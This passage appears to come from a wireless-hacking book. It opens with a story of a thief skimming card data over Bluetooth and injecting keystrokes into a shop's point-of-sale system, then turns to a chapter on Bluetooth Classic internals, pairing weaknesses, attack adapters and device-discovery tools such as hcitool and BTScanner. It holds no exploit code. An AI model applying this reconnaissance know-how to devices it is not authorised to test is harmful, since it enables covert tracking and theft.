Jarod	just	smiled.	He	knew	he	was	next	to	invisible	to	store	employees.	Jarod	was
neither	handsome	nor	ugly.	He	was	neither	fat	nor	thin,	neither	tall	nor	short.	He	was
just	another	nondescript	guy	in	the	store.

No	one	noticed	him,	and	that’s	just	how	he	liked	it.

Jarod’s	invisibility	was	more	than	a	mere	personality	trait:	he	embraced	it	in	his
work	as	well.	Jarod	was	a	Bluetooth	specialist,	one	of	a	small	handful	of	people	who
truly	understood	the	ins	and	outs	of	the	protocol.	Like	Jarod,	Bluetooth	is	effectively
invisible	to	people,	more	so	than	in	the	common	wireless	sense.	All	too	often	Bluetooth
goes	unnoticed	in	organizations.	No	one	looks	for	it.	The	tools	to	sniff	it	aren’t
accessible	to	lesser	analysts.	To	Jarod,	it	was	worth	a	fortune.

“I’d	be	happy	to	cash	you	out	if	you	are	finished	shopping.”

Jared	handed	over	his	purchases	to	the	oblivious	clerk.	Sure,	the	popular	upscale
clothing	store	tried	to	hide	their	use	of	Bluetooth	for	credit	card	processing	by
configuring	devices	in	non-discoverable	mode,	but	that	was	just	a	mild	stumbling	block
for	him.	After	identifying	the	master	device	address,	Jarod	was	quick	to	start	capturing
data	frames.	It	didn’t	take	a	rocket	scientist	to	recognize	the	credit	card	number	and
CVV	pattern	from	the	network	traces,	even	if	the	rest	of	the	protocol	remained	a
mystery.

“Can	I	place	this	purchase	on	your	store	charge,	sir?”

Jarod	handed	over	the	credit	card	for	the	transaction	while	the	clerk	scanned	the	tags
with	a	Bluetooth	barcode	scanner.	In	predictable	“engineering	not	invented	here”
fashion,	the	barcode	scanner	was	designed	as	a	human	interface	device	widget.	It
behaved	as	a	sort	of	keyboard	that	translated	the	barcode	data	into	keystrokes	in	the
clerk’s	point	of	sale	application.	Furthermore,	Jared	knew	that	he	could	inject	any
keystroke	he	wanted	through	that	interface,	downloading	and	running	any	code	he
wanted.

“Thank	you	for	shopping	at	Apparatchic,	Mr.	McDonald.	Please	come	visit	us	again
soon.”

Jared	took	his	bag	without	saying	a	word.	He	didn’t	correct	her	assumption	that	his
name	matched	the	one	on	the	credit	card.	He	intended	to	leave	no	mark	or	trace.

No	one	noticed	him,	and	that’s	just	how	he	liked	it.
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BLUETOOTH	CLASSIC
SCANNING	AND	RECONNAISSANCE
	





Like	any	successful	hack,	a	Bluetooth	attack	includes	understanding	the	technology	behind
your	target	as	well	as	scanning	and	reconnaissance	analysis;	it	concludes	with
attack	and	exploitation.	In	this	chapter,	we’ll	examine	the	core	concepts	of	the

Bluetooth	“Classic”	specification	(including	Bluetooth	technologies	prior	to	the	Bluetooth
Smart	specification),	followed	by	a	look	at	the	tools	and	techniques	for	Bluetooth
scanning	and	reconnaissance.	This	chapter	covers	recommendations	for	hardware	devices
that	can	be	used	for	Bluetooth	analysis	(commercial	Bluetooth	adapters	and	other	special-
purpose	hardware),	multiple	options	for	identifying	Bluetooth	devices	near	you,	and	steps
for	assessing	a	target	once	you	find	it.	We’ll	also	examine	techniques	for	leveraging	OS-
native	and	third-party	tools	for	Bluetooth	scanning	with	active	scanners	and	tools	for
mobile	platforms.

	

We	use	the	convention	Bluetooth	Classic	to	refer	to	Bluetooth	devices	prior	to	the
Bluetooth	4.0	specification	(dubbed	Bluetooth	Low	Energy	or	Bluetooth	Smart).
Specifically,	Bluetooth	Classic	devices	include	both	Bluetooth	Basic	Rate	(BR)	and
Enhanced	Data	Rate	(EDR)	devices.	We’ll	examine	the	Bluetooth	Low	Energy
specification	in	the	next	chapter.	Where	the	specifications	differ,	we’ll	refer	to	“Bluetooth
Classic”	or	“Bluetooth	Low	Energy”;	common	references	will	simply	use	“Bluetooth.”

Bluetooth	Classic	Technical	Overview
The	goal	of	this	section	is	to	describe	the	interactions	of	Bluetooth	Classic	devices	at	a
high	level,	without	assuming	significant	knowledge	of	the	underlying	protocols.	We	cover
basic	concepts	such	as	device	discovery,	frequency	hopping,	and	piconets.

The	Bluetooth	Classic	specification	defines	79	channels	across	the	2.4-GHz	ISM	band,
each	1-MHz	wide.	Devices	hop	across	these	channels	at	a	rate	of	1600	times	per	second
(every	625	microseconds).	This	channel-hopping	technique	is	known	as	Frequency
Hopping	Spread	Spectrum	(FHSS)	with	an	overall	throughput	up	to	3	Mbps	and	a
maximum	intended	distance	of	approximately	100	meters.	FHSS	provides	robustness
against	noisy	channels	by	rapidly	moving	throughout	the	available	RF	spectrum.

Devices	wanting	to	communicate	with	each	other	using	Bluetooth	need	to	be	on	the
same	channel	at	the	same	time,	as	shown	in	the	illustration.	Devices	that	are	hopping	in	a
coordinated	fashion	can	communicate	with	each	other,	forming	a	Bluetooth	piconet,	the
basic	network	model	used	for	two	or	more	Bluetooth	devices.	Every	piconet	has	a	single
master	and	between	one	and	seven	slave	devices.	Communication	in	a	piconet	is	strictly
between	a	slave	and	a	master.	The	channel-hopping	sequence	utilized	by	a	piconet	is
pseudorandom	and	can	only	be	generated	with	the	address	and	clock	of	the	master	device.



Device	Discovery
Like	all	wireless	protocols,	Bluetooth	has	to	determine	whether	potential	peers	are	in
range.	This	issue	is	significantly	complicated	when	using	FHSS	devices.	Assume,	for	a
moment,	that	a	device	is	already	interacting	in	a	piconet	(hopping	along	with	its	peers),
but	it	is	also	discoverable,	which	means	it	periodically	broadcasts	its	Bluetooth	Device
Address	(BD_ADDR)	information	to	other	devices	not	already	in	the	piconet.	To	do	this,
the	device	must	quit	hopping	along	with	its	piconet	peers	temporarily,	listen	for	any
devices	that	are	potentially	looking	for	it,	respond	to	those	requests,	and	then	catch	back
up	with	the	piconet	members.	Devices	that	periodically	check	for	devices	looking	for	them
are	said	to	be	“discoverable.”

Many	devices	aren’t	discoverable	by	default,	so	you	must	enable	this	feature
specifically,	usually	for	a	brief	period	of	time.	Mobile	devices	such	as	iOS	often	enter
discoverable	mode	by	default	after	you	open	the	Bluetooth	configuration	Settings	page,	as
shown	in	Figure	7-1.	A	device	is	said	to	be	non-discoverable	if	it	simply	ignores	(or
doesn’t	look	for)	discovery	requests.	The	only	way	to	establish	a	connection	to	one	of
these	non-discoverable	devices	is	to	determine	its	BD_ADDR	through	some	other	means.





Figure	7-1	Apple	iOS	Bluetooth	Settings,	Discoverable	mode

Protocol	Overview
A	Bluetooth	network	has	a	surprising	number	of	protocols.	They	can	generally	be	broken
up	into	two	classes:	those	spoken	by	the	Bluetooth	controller,	and	those	spoken	by	the
Bluetooth	host.	For	the	sake	of	our	discussion,	the	Bluetooth	host	is	the	laptop	you	are
trying	to	run	attacks	from.	The	Bluetooth	controller	is	the	chip	built	into	your	laptop	or	on
a	USB	dongle,	interpreting	commands	from	the	host.

Figure	7-2	shows	the	organization	of	layers	in	the	Bluetooth	stack	and	where	each
layer	is	typically	implemented.	The	controller	is	responsible	for	frequency	hopping,
baseband	encapsulation,	and	returning	the	appropriate	results	to	the	host.	The	host	is
responsible	for	the	higher-layer	protocols.	Of	particular	interest	is	the	HCI	link,	which	is
used	as	the	interface	between	the	Bluetooth	host	(your	laptop)	and	the	Bluetooth	controller
(the	chipset	in	your	Bluetooth	dongle).



Figure	7-2	Bluetooth	host	and	controller	interaction

When	dealing	with	Bluetooth,	keep	this	host/controller	model	in	mind.	As	hackers,	we
want	full	control	over	devices	to	manipulate	how	they	operate.	The	separation	of	controls
in	the	model	shown	in	Figure	7-2	means	we	are	very	much	at	the	mercy	of	the	capabilities



exposed	by	the	Bluetooth	controller.	No	matter	how	much	we	want	to	tell	the	Bluetooth
controller,	“Stick	to	channel	6	and	transmit	the	following	packet	out	forever,”	unless	we
can	map	this	request	into	a	series	of	HCI	requests	(or	find	some	other	way	to	do	it),	we
can’t.	We	just	don’t	have	that	much	control	over	the	radio.

Radio	Frequency	Communications	(RFCOMM)
RFCOMM	is	the	transport	protocol	used	by	Bluetooth	devices	that	need	reliable	streams-
based	transport,	analogous	to	TCP.	The	RFCOMM	protocol	is	commonly	used	to	emulate
serial	ports,	send	AT	commands	(Hayes	Command	Set)	to	phones,	and	to	transport	files
over	the	Object	Exchange	(OBEX)	protocol.

Logical	Link	Control	and	Adaptation	Protocol	(L2CAP)
L2CAP	is	a	datagram-based	protocol,	which	is	used	mostly	to	transport	higher-layer
protocols	such	as	RFCOMM	to	other	upper-layer	protocols.	An	application-level
programmer	can	use	L2CAP	as	a	transport	protocol,	operating	similarly	to	the	UDP
protocol—as	a	message-based,	unreliable,	data-delivery	mechanism.

Host	Controller	Interface	(HCI)
As	mentioned	previously,	the	Bluetooth	standard	specifies	an	interface	for	controlling	a
Bluetooth	chipset	(controller),	leveraging	the	HCI	interface	layer.	The	HCI	is	the	lowest
layer	of	the	Bluetooth	stack	that	is	immediately	accessible	to	developers	with	standard
hardware,	accommodating	remote	device-friendly	name	retrieval,	connection
establishment,	and	termination.

Link	Manager	Protocol	(LMP)
The	Link	Manager	Protocol	(LMP)	is	the	beginning	of	the	controller	protocol	stack,
making	it	inaccessible	without	specialized	hardware.	LMP	handles	negotiation	such	as
low-level	encryption	issues,	authentication,	and	pairing.	Although	the	controlling	host
may	be	aware	of	these	features	and	explicitly	request	them,	the	controller’s	job	is	to
determine	what	sort	of	packets	need	to	be	sent	and	how	to	handle	the	results.

Baseband
Like	the	LMP	layer,	the	baseband	layer	is	inaccessible	to	developers	without	custom
hardware	tools.	The	Bluetooth	baseband	specifies	over-the-air	characteristics	(such	as	the
transmission	rate),	the	final	layer	of	framing	for	a	packet,	and	the	channel	to	use	for
transmitting	and	receiving	packets.

Bluetooth	Device	Addresses	(BD_ADDR)
Bluetooth	devices	come	with	a	48-bit	address,	as	shown	here,	formed	into	three	parts:

•		NAP	The	Nonsignificant	Address	Part	(NAP)	consists	of	the	first	16	bits	of
the	organizationally	unique	identifier	(OUI)	portion	of	the	BD_ADDR.	This	part
is	called	nonsignificant	because	these	16	bits	are	not	used	for	any	frequency



hopping	or	other	Bluetooth	derivation	functions.

•			UAP	The	Upper	Address	Part	(UAP)	composes	the	last	8	bits	of	the	OUI	in
the	BD_ADDR.

•		LAP	The	Lower	Address	Part	(LAP)	is	24	bits	and	is	used	to	uniquely
identify	a	Bluetooth	device.

Unlike	other	wireless	protocols,	the	BD_ADDR	information	is	held	as	a	secret	in
Bluetooth	networks.	The	BD_ADDR	information	is	not	transmitted	in	the	header	of
frames	as	in	Ethernet	and	Wi-Fi	networks,	preventing	an	attacker	from	using	simple
eavesdropping	techniques	to	discover	this	value.	Without	the	BD_ADDR	information,
attackers	will	find	it	hard	to	determine	the	frequency-hopping	pattern	being	used,
increasing	the	difficulty	of	traffic	eavesdropping.

Bluetooth	Profiles
In	addition	to	the	structured	Bluetooth	stack	layers,	the	Bluetooth	Special	Interest	Group
(SIG)—the	organization	responsible	for	defining	the	Bluetooth	specification—specifies
multiple	application-layer	profiles.	These	profiles	define	additional	functionality	and
security	mechanisms	for	various	Bluetooth	uses.	Implemented	on	the	host,	these	profiles
can	be	manipulated	freely	without	specialized	hardware.	Available	profiles	include	the
Service	Discovery	Protocol	(SDP),	Advanced	Audio	Distribution	Profile	(A2DP),	Headset
Profile	(HSP),	Object	Exchange	Profile	(OBEX),	and	Personal	Area	Network	Profile
(PANP).

Encryption	and	Authentication
Encryption	and	authentication	are	built	into	the	Bluetooth	standard	and	implemented
directly	in	the	Bluetooth	controller	chip	as	a	cost-savings	measure	for	adopters	and
developers.	The	use	of	encryption	and	authentication	are	optional;	a	vendor	can	choose	to
use	neither	authentication	nor	encryption,	either	encryption	or	authentication,	or	both.

Bluetooth	authentication	is	implemented	through	traditional	pairing	or	through	the
Secure	Simple	Pairing	(SSP)	mechanism	introduced	with	the	Bluetooth	2.1	specification.
We’ll	examine	both	authentication	mechanisms	next.

Traditional	Pairing
The	traditional	pairing	process	was	superseded	in	the	Bluetooth	2.1	specification	by	the
Secure	Simple	Pairing	(SSP)	exchange,	though	the	traditional	pairing	exchange	is	still
used	by	devices	today	as	well.	Using	traditional	pairing,	when	two	devices	first	meet,	they



undergo	a	pairing	exchange,	in	which	a	security	key	known	as	the	link	key	is	derived	from
a	BD_ADDR,	a	personal	identification	number	(PIN),	and	a	random	number.	Once	this
exchange	is	completed,	both	devices	store	the	link	key	information	in	local	nonvolatile
memory	for	use	in	later	authentication	exchanges	and	to	derive	encryption	keys	(when
used).

If	an	attacker	observes	the	traditional	pairing	exchange	used	to	derive	the	link	key,	as
well	as	a	subsequent	authentication	exchange,	then	attacking	the	PIN	selection	is	possible.
Commonly,	this	is	carried	out	in	a	PIN	brute-force	attack:	a	PIN	guess	is	made	and	then
used	to	derive	a	possible	link	key,	and	the	guess	is	validated	by	comparing	locally
computed	authentication	results	to	those	observed	in	the	legitimate	exchange.	We’ll
examine	this	attack	in	depth	in	Chapter	10.

Secure	Simple	Pairing
The	biggest	problem	with	the	traditional	pairing	scheme	just	outlined	is	that	a	passive
attacker	who	observes	the	pairing	can	quickly	recover	the	PIN	and	stored	link	key.	If	an
attacker	is	able	to	recover	the	link	key,	he	can	decrypt	all	traffic	exchanged	over	the
Bluetooth	network	and	impersonate	legitimate	devices.	The	Secure	Simple	Pairing	(SSP)
process	attempts	to	prevent	a	passive	observer	from	retrieving	the	link	key,	while	also
providing	multiple	authentication	options	for	varying	Bluetooth	device	types.

SSP	improves	the	authentication	exchange	in	Bluetooth	by	leveraging	public	key
cryptography,	specifically	through	the	Elliptic	Curve	Diffie-Hellman	(ECDH)	exchange.	A
Diffie-Hellman	key	exchange	allows	two	peers	to	exchange	public	keys	and	then	derive	a
shared	secret	that	an	observer	will	not	be	able	to	reproduce.	The	resulting	secret	key	is
called	the	DHKey.	Ultimately,	the	link	key	is	derived	from	the	DHKey	for	subsequent
authentication	and	encryption	key	derivation.

By	using	a	Diffie-Hellman	key	exchange,	a	strong	shared	entropy	pool	is	available	for
deriving	the	link	key	on	both	devices.	This	strong	entropy	pool	solves	the	biggest	problem
with	the	traditional	pairing	derivation,	in	which	the	sole	source	of	entropy	is	a	small	PIN
value.

Having	completed	an	introduction	to	Bluetooth	technology	components,	we’ll
continue	to	examine	Bluetooth	from	an	attacker’s	perspective.	As	we	examine	the	various
attacks	against	Bluetooth	technology,	we’ll	dig	into	the	related	technology	and
components	supporting	this	worldwide	standard.

Preparing	for	an	Attack
By	spending	some	time	up-front	preparing	for	a	Bluetooth	attack,	you’ll	reap	the	benefits
of	functional	systems	that	out-perform	off-the-shelf	components.	In	this	section,	we
provide	some	guidance	on	selecting	a	Bluetooth	attack	device	and	techniques	for
extending	the	range	of	the	device.

Selecting	a	Bluetooth	Classic	Attack	Device



In	preparing	your	Bluetooth	Classic	attack	arsenal,	one	of	the	first—and	most	important—
decisions	you	need	to	make	is	selecting	a	Bluetooth	Classic	interface	with	which	to	launch
your	attacks.	This	decision	may	seem	fairly	trivial;	pick	any	old	Bluetooth	interface,	plug
it	in,	and	you’re	good	to	go.	Although	this	method	can	work	in	close-proximity	lab
environments	(and	if	you’re	fairly	lucky),	you	will	likely	have	an	entirely	different
experience	if	you	try	to	attack	a	real-world	target.

Bluetooth	Classic	Interface	Power	Classes
The	Bluetooth	Classic	specification	defines	three	functional	power	classes	for
manufacturers	to	follow	when	producing	radio	interfaces.	These	classes	influence	the
effective	use	of	Bluetooth	Classic	technology	by	identifying	the	maximum	output	power
of	a	transmitter.	For	example,	a	Bluetooth	Classic	headset	device	does	not	normally
require	a	significant	distance	for	communication	because	it	is	often	paired	with	a	phone	in
the	user’s	pocket	or	on	a	nearby	desk.	To	get	the	best	battery	performance	on	headsets,
implementing	a	device	that	transmits	at	a	power	level	that	can	achieve	distances	greater
than	the	intended	use	cases	is	not	advisable,	so	most	Bluetooth	Classic	headsets	use	a
moderate	output-power	level	in	the	radio	interface.

To	satisfy	the	needs	of	various	Bluetooth	Classic	implementations,	the	Bluetooth	SIG
defined	three	operational	classes	with	power	levels	ranging	from	1	milliwatt	(mW)	to	100
mW.	This	power	level	is	measured	at	the	output	of	the	antenna	connected	to	the	Bluetooth
Classic	interface,	with	an	effective	range	shown	in	Table	7-1.

Table	7-1	Bluetooth	Classic	Interface	Power	Classes

Whereas	Bluetooth	developers	may	opt	for	more	or	less	transmit	output	power	in	the
Bluetooth	radio	to	suit	their	specific	application	needs,	attackers	will	nearly	always	opt	for
the	greatest	transmit	power	for	the	most	effective	range.	Class	1	devices	boasting	a
transmit	power	of	100	mW	offer	ranges	approximating	that	of	Wi-Fi	devices,	with
additional	range	opportunities	when	paired	with	an	external	antenna.	Fortunately,
marketing	teams	recognize	the	consumer-selling	opportunity	for	devices	that	offer	the
range	of	Class	1	interfaces	and	will	sometimes	prominently	display	this	as	a	feature	on	the
product	packaging.

When	Is	Range	Not	Optimal	for	an	Attacker?
In	some	cases,	a	Bluetooth	interface	that	provides	the	greatest	range	is	not	desirable.
For	example,	consider	a	case	in	which	you	wish	to	set	up	a	Bluetooth	attack	lab	where
Bluetooth	targets	will	be	available	for	developing	attack	skills,	research,	and
experimentation.	If	this	lab	is	within	nearby	physical	proximity	to	Bluetooth	devices
that	are	not	within	the	scope	of	your	testing,	you	may	inadvertently	disrupt	or	even
exploit	unauthorized	devices.	Also,	because	Bluetooth	Classic	uses	FHSS	in	the	2.4-



GHz	band,	a	higher-power	adapter	will	interfere	with	a	greater	number	of	Wi-Fi	devices
and	other	transmitters	sharing	this	crowded	band.

If	these	situations	are	an	issue	for	your	organization,	using	Bluetooth	Classic
dongles	of	the	Class	2	variety	to	limit	range	may	be	desirable.	If	even	this	reduced
range	is	still	an	issue,	consider	RF-blocking	devices	such	as	a	Faraday	cage.

Extending	Bluetooth	Range
A	highly	desirable	attribute	in	a	Bluetooth	attack	interface	is	the	ability	to	extend	the
effective	range	of	communication.	Commonly,	this	is	done	by	selecting	a	Class	1	dongle
for	a	transmit	capability	of	100	mW,	but	even	this	optimal	range	of	100	meters	without
obstruction	leaves	something	to	be	desired.	To	achieve	an	even	greater	range,	you	can
shape	the	RF	radiation	pattern	from	the	Bluetooth	attack	interface	using	a	directional
antenna.

As	Bluetooth	operates	in	the	same	2.4-GHz	band	as	IEEE	802.11g	devices,	a	number
of	antenna	options	are	available.	Sites	such	as	http://www.fab-corp.com	and
http://www.netgate.com	sell	a	variety	of	antennas	of	different	gain	properties	and
propagation	patterns	with	prices	ranging	from	$25	to	$140US.

A	limited	number	of	commercial	Bluetooth	Classic	adapters	are	available	with	external
antenna	connectors,	typically	intended	for	industrial	applications.	One	such	product	is	the
SENA	Parani	UD-100	adapter	with	a	reverse-polarity	SMA	antenna	connector,	available
through	a	limited	number	of	resellers	identified	at	http://www.sena.com.	Priced	at	$40	at
the	time	of	this	writing,	this	product	is	attractive	as	a	Bluetooth	attack	interface	based	on
the	chipset	used	(CSR)	and	the	relatively	rugged	antenna	connector	construction,	as	shown
here.

Reconnaissance
In	the	reconnaissance	phase	of	a	Bluetooth	attack,	we	examine	the	process	of	identifying
victim	Bluetooth	devices	in	the	area	through	active	discovery	and	passive	discovery,	using
visual	inspection	and	hybrid	discovery.	The	goal	of	the	discovery	process	is	to	identify	the
presence	of	Bluetooth	devices,	revealing	each	device’s	48-bit	BD_ADDR.

Once	you	have	discovered	a	device,	you	can	start	to	enumerate	the	services	on	the
device,	identifying	potential	exploit	targets.	You	can	also	fingerprint	the	remote	device
and	leverage	Bluetooth	sniffing	tools	to	gain	access	to	data	from	the	piconet.	Here,	we
examine	each	of	these	steps	in	more	detail.

http://www.fab-corp.com
http://www.netgate.com
http://www.sena.com


Active	Device	Discovery
The	first	step	in	Bluetooth	reconnaissance	scanning	is	to	simply	ask	for	information	about
devices	within	range.	Known	as	inquiry	scanning	in	the	Bluetooth	specification,	a	device
can	actively	transmit	inquiry	scan	messages	on	a	set	of	frequencies,	listening	for
responses.	If	a	target	Bluetooth	device	is	configured	in	discoverable	mode,	it	will	return
the	inquiry	scan	message	with	an	inquiry	response	and	reveal	its	BD_ADDR,	timing
information	(known	as	the	device	clock	or	CLK),	and	device	class	information	(e.g.,	the
device	type	such	as	phone,	wearable	device,	toy,	computer,	and	so	on).

Multiple	tools	exist	for	active	device	discovery	on	various	platforms	ranging	from
simple	command-line	tools	to	complex	GUI	interfaces.	Let’s	examine	a	few	of	these	tools
on	different	platforms	to	give	you	an	idea	of	the	available	options.

Windows	Discovery	with	BluetoothView

BluetoothView	is	a	free,	closed-source	active	discovery	scanning	tool	for	Windows
systems,	written	by	the	talented	Nir	Sofer	of	NirSoft	at
http://www.nirsoft.net/utils/bluetooth_viewer.html.	BluetoothView	provides	a	simple
interface	to	automatically	detect	available	Bluetooth	adapters	and	scan	for	discoverable
Bluetooth	devices,	displaying	the	results	in	a	tabular	format	as	shown	here.

BluetoothView	queries	discovered	devices	to	identify	the	device-friendly	name	and
BD_ADDR,	as	well	as	the	device	type	and	discovery	timestamp	information	(time	first
seen	and	time	last	seen).	Double-clicking	a	discovered	Bluetooth	node	will	display
detailed	information,	as	shown	next.	A	simple	HTML	report	of	discovered	devices	is	also
available	by	clicking	View	|	HTML	Report	–	All	Items,	as	shown	in	Figure	7-3.

http://www.nirsoft.net/utils/bluetooth_viewer.html


Figure	7-3	BluetoothView	HTML	Report	results

Although	BluetoothView	is	simple	and	convenient,	it	neither	discloses	the	list	of
discoverable	services	on	a	target	Bluetooth	device,	nor	does	it	disclose	the	signal	strength
of	a	device.	For	additional	detail	on	discoverable	Bluetooth	devices,	we	need	to	turn	to



alternative	platform	tools.

Android	Tools	for	Bluetooth	Discovery

Bluetooth	scanning	with	Windows	and	BluetoothView	is	simple	and	convenient
because	you	can	easily	adjust	your	signal	gain	with	various	antenna	options	on	an	external
Bluetooth	USB	dongle.	However,	the	Windows	API	for	Bluetooth	discovery	does	not
disclose	signal	strength	information	for	discovered	devices.	With	signal	strength
information,	we	can	track	the	relative	distance	and	estimate	the	location	of	discovered
nodes.

To	obtain	access	to	Bluetooth	signal	strength	information,	along	with	other	Bluetooth
node	details,	we	can	use	one	of	several	available	Android	tools	in	the	Google	Play
marketplace.	These	tools	do	not	require	privileged	access	to	Android	platforms	(e.g.,	they
do	not	require	root	access	or	require	that	the	Android	device	be	rooted);	they	only	require
standard	Android	permissions	for	Bluetooth	device	scanning	and	access	(including
android.permission.BLUETOOTH	and	android.permission.BLUETOOTH_ADMIN).	Although
they	do	not	accommodate	external	Bluetooth	adapters,	the	capabilities	of	these	tools	offer
advantages	not	available	on	Windows	systems.

Bluetooth	Finder	by	José	Luis	Costumero	is	a	simple	Bluetooth	discovery	tool
available	through	the	Google	Play	marketplace.	After	launching	the	application	and
starting	the	scanning	process	by	tapping	the	Scanning	Off	button,	Bluetooth	Finder	will
identify	nearby	discoverable	devices	by	BD_ADDR	and	friendly	name,	frequently
updating	the	signal	strength	information	(in	dBm),	as	shown	in	Figure	7-4.	Greater	signal
strength	values	(e.g.,	closer	to	zero)	indicate	closer	devices.



Figure	7-4	Bluetooth	Finder	scan	results

Bluetooth	Finder	does	not	include	an	interface	to	focus	the	scanning	results	to	a	single
device	for	tracking	purposes,	but	can	otherwise	be	used	for	locating	a	discoverable
Bluetooth	device	by	walking	toward	greater	signal	strength	values.	Unfortunately,
Bluetooth	Finder	does	not	attempt	to	enumerate	the	services	of	a	discovered	Bluetooth
device.

Calculating	the	Distance	Between	the	Transmitter	and
Receiver
Signal	strength	information	in	dBm	can	be	used	to	approximate	the	distance	between
the	Bluetooth	transmitter	and	the	receiver.	Assuming	the	transmitter	is	a	Class	2	device
transmitting	at	2.5	mW,	you	can	use	a	reference	Received	Signal	Strength	Indication
(RSSI)	at	1	meter	of	–55	dBm	and	an	approximate	2.4-GHz	propagation	constant	of	3
to	calculate	transmitter	distance	in	feet	(d)	as	follows:

d	=	10(–55	–	rssi)/(10*3)*	3.2808

Using	Python,	we	can	calculate	the	distance	easily.	Substitute	rssi	with	the	value
observed	in	your	scanner.	The	propagation	constant	can	be	adjusted	between	2	and	4	to
accommodate	different	RF	environments.	Increase	the	propagation	constant	to	reflect
environments	with	lots	of	RF	obstacles;	decrease	the	propagation	constant	to	reflect
open	environments	with	few	obstacles.



This	technique	does	not	take	many	RF	propagation	factors	into	consideration	and
should	be	treated	as	an	estimate.	If	you	need	to	estimate	the	distance	of	a	Class	1
transmitter,	measure	the	signal	strength	of	a	known	Class	1	device	at	a	distance	of	1
meter,	using	the	average	RSSI	value	as	the	reference	RSSI.

As	an	alternative	to	Bluetooth	Finder,	btCrawler	is	a	$0.99	app	in	the	Google	Play
marketplace	that	identifies	discoverable	Bluetooth	devices,	characterizing	the	device	type,
vendor	(from	BD_ADDR	OUI),	and	RSSI	information,	as	shown	in	Figure	7-5.

Figure	7-5	btCrawler	Bluetooth	node	discovery

Selecting	a	discovered	node	in	btCrawler	also	presents	an	option	to	enumerate	the



published	services	on	the	target	device,	a	feature	that	is	not	available	in	Bluetooth	Finder.
The	output	of	the	service	discovery	for	a	Mac	OS	X	10.9.1	(Mavericks)	host	is	shown	in
Figure	7-6.

Figure	7-6	btCrawler	service	discovery	results

While	scanning	for	devices,	btCrawler	stores	the	scan	results	in	a	local	database.	This
database	can	be	exported	into	a	CSV	stored	on	the	system	SD	card	(or	virtual	SD	card	for
Android	devices	without	a	physical	SD	card	slot)	by	selecting	Menu	|	Export	Database.

Both	Bluetooth	Finder	and	btCrawler	are	useful	applications	for	Bluetooth	discovery,
but	lack	detail	in	the	discovered	device	results.	For	detailed	information	on	Bluetooth
devices,	you	can	use	Linux	command-line	tools	for	discovery	and	enumeration.

Linux	Discovery	with	hcitool



The	standard	Linux	command	hcitool	can	be	used	for	Bluetooth	discovery	and	basic
enumeration.	When	scanning,	hcitool	caches	information	about	devices,	potentially
reporting	the	presence	of	devices	that	were	once	observed	but	are	no	longer	within	range.
To	force	hcitool	to	purge	the	cached	results,	specify	the	--flush	parameter.	By	default,
hcitool	shows	only	BD_ADDR	and	device	name	information,	but	you	can	collect
additional	details	by	adding	the	--all	parameter,	as	shown	next.

	

Running	hcitool	scan	without	root	privileges	will	display	only	limited	information	about
a	discoverable	device.

For	each	device	that	returns	a	response,	hcitool	displays	information	about	the
device,	including	the	BD_ADDR,	the	device	name	and	device	class,	the	radio
manufacturer	and	link	manager	protocol	(LMP)	version,	and	feature	enumeration	details.

	

The	LMP	version	is	useful	for	determining	support	for	various	security	features.	In	the
example	shown,	the	LMP	version	is	2.1,	indicating	it	supports	the	Secure	Simple	Pairing



(SSP)	mechanism	introduced	with	version	2.1	of	the	Bluetooth	specification.

Linux	Discovery	with	BTScanner

While	hcitool	is	convenient	for	a	quick	command-line	search	of	available	Bluetooth
devices,	it	doesn’t	have	the	ability	to	scan	continually,	only	updating	the	display	when	new
devices	are	found.	For	this	type	of	scanning,	the	Linux	tool	BTScanner	is	a	better	option,
providing	a	simple	text-based	interface	that	continually	scans	for	Bluetooth	devices,
showing	a	single	line	of	output	for	each	device	that	has	been	found.	BTScanner	attempts
to	extract	as	much	information	as	possible	without	pairing,	providing	a	detailed
information	view	when	the	user	selects	a	Bluetooth	device	that	has	been	identified.

Available	at	http://www.pentest.co.uk	by	selecting	the	Downloads	link,	BTScanner	can
also	be	installed	through	the	Ubuntu	package	management	system	using	apt-get	or	the
Synaptic	Package	Manager,	as	well	as	other	common	Linux	distribution	package
management	tools:
$	sudo	apt-get	install	btscanner

To	start	BTScanner,	open	a	terminal	and	run	the	btscanner	command	with	root	privileges
(sudo	btscanner).	BTScanner	will	launch	with	a	light-gray	background,	displaying	a
listing	of	hotkeys	available	in	the	status	window	at	the	bottom.	BTScanner	uses	a	system
where	the	user	presses	a	hotkey	to	start	or	stop	scanning,	to	save	the	current	results	to	a
logging	file,	or	to	start	other	attacks.	A	listing	of	the	available	hotkeys	and	their
corresponding	action	is	described	in	Table	7-2.

http://www.pentest.co.uk


Table	7-2	BTScanner	Hotkey	Options

To	start	scanning	for	Bluetooth	devices,	press	the	I	hotkey.	BTScanner	will	display	the
status	line	“starting	inquiry	scan”	and	will	populate	the	main	window	with	information
about	discovered	devices,	including	a	timestamp	identifying	when	the	device	was
discovered,	the	BD_ADDR	of	the	device,	system	clock	information,	the	device	class,	and
friendly	name	information,	as	shown	here.

	

BTScanner	will	use	multiple	Bluetooth	interfaces	concurrently	if	more	than	one	is	present.
This	capability	allows	BTScanner	to	discover	and	enumerate	devices	faster	than	what
would	otherwise	be	possible	with	a	single	Bluetooth	interface.

Bugs	in	BTScanner
Hacking	tools	such	as	BTScanner	aren’t	free	from	the	bugs	that	plague	many	modern
applications.	Sadly,	BTScanner	hasn’t	been	actively	maintained	by	the	original	author



in	many	years	and	suffers	from	a	few	bugs.

Disappearing	Devices	The	devices	in	the	BTScanner	device	listing	have	been	known
to	appear	and	then	disappear	inexplicably.	As	a	workaround,	if	devices	disappear	from
the	display	listing,	change	the	sort	order	by	pressing	the	O	hotkey	to	open	the	Enter	A
Sort	Method	dialog,	and	then	press	F	and	ENTER	to	sort	by	first	seen.

Fail	to	Start	BTScanner	requires	a	minimum	terminal	screen	width	of	80	characters.	If
you	try	to	start	BTScanner	with	a	smaller	terminal	screen,	you’ll	see	the	status	message
“Finished	reading	the	OUI	database”	followed	by	a	return	to	the	shell	prompt.	Make
sure	your	terminal	is	at	least	80	characters	wide	(and	preferably	24	characters	high)	or
larger	before	starting	BTScanner.

Crash	on	Resize	If	you	try	to	resize	BTScanner	while	it	is	running,	it	will	crash	with
the	error	“Segmentation	fault.”	Before	starting	BTScanner,	make	sure	your	terminal	is
sized	appropriately	and	do	not	try	to	resize	it	without	exiting	BTScanner	first.

One	of	BTScanner’s	great	features	is	the	logging	information	generated	for	each
discovered	device.	When	you	start	BTScanner,	it	creates	a	directory	in	the	user’s	home
directory	called	bts.	Within	this	directory,	BTScanner	creates	a	directory	for	each	node
discovered,	based	on	the	device’s	BD_ADDR,	replacing	the	common	colon-delimiting
